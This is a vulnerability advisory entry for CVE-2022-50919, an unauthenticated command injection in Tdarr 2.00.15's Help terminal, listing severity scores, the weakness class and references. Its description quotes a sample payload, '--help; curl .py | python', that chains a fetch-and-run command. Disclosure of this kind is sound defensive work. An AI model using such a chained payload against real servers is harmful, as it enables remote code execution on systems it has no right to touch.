CVE-2022-50919

critical · 9.3

Tdarr 2.00.15 contains an unauthenticated remote code execution vulnerability in its Help terminal that allows attackers to inject and chain arbitrary commands. Attackers can exploit the lack of input filtering by chaining commands like `--help; curl .py | python` to execute remote code without authentication.

9.3

CVSS

1.4%

EPSS (exploit prob.)

71st

EPSS percentile

2026-01-13

Published

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Weaknesses

CWE-78

Affected products

Vendor	Product	Affected versions
tdarr	tdarr	2.00.15

Check a specific version with /api/v1/cve/match.

References

https://tdarr.io
https://www.exploit-db.com/exploits/50822
https://www.vulncheck.com/advisories/tdarr-command-injection

Query this programmatically:

curl https://evil-db.io/api/v1/cve/CVE-2022-50919